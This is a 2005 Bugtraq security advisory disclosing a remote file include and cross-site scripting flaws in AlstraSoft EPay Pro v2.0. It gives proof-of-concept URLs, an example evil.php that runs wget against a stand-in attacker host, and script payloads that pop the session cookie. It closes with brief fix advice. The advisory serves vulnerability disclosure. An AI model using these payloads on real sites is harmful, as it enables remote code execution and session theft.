[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: AlstraSoft EPay Pro v2.0 has file include and multiple xss
From: dcrab <dcrab () hackerscenter ! com>
Date: 2005-04-02 3:17:16
Message-ID: 20050402031716.9771.qmail () www ! securityfocus ! com
[Download RAW message or body]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Severity: High
Title: AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities
Date: 02/04/2005
Vendor: AlstraSoft
Vendor Website: http://www.alstrasoft.com
Summary: Alstrasoft epay pro v2. has file include and multiple xss vulnerabilities.
Proof of Concept Exploits:
http://localhost/epal/index.php?view=http://www.whatismyip.com?
File include vulnerability
Instead of www.whatismyip.com if we replaced that with suppose evil.php on \
www.server.com which contained evil code such as <?
system('wget http://www.hacker.com");
?>
and we ran, http://localhost/epal/index.php?view=http://www.server.com/evil it would \
execute the command and thus this can lead to arbitary command execution.
http://localhost/epal/?order_num=crap&payment="><script>alert(document.cookie)</script>&send=first&send=regular&send=priority&send=express
Pops cookie
http://localhost/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(), and using a base directory for file \
include would solve these problems.
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: \
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me \
regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or \
http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding \
with php.
Diabolic Crab's Security Services: Contact at \
dcrab[NOSPAM|AT]hackerscenter[NOSPAM|DOT]COM for Php auditing and web application \
securing services, along with programming in php, vb, asp, c, c++, perl, java, html \
and graphic designing.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
iQA/AwUBQk2p4SZV5e8av/DUEQIWsQCfW213hHs/Bd4QZBoLFufN1NM+AkUAn3Xd
vW9dOgM7AoFDa/JaMgMjaisw
=sb0J
-----END PGP SIGNATURE-----
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic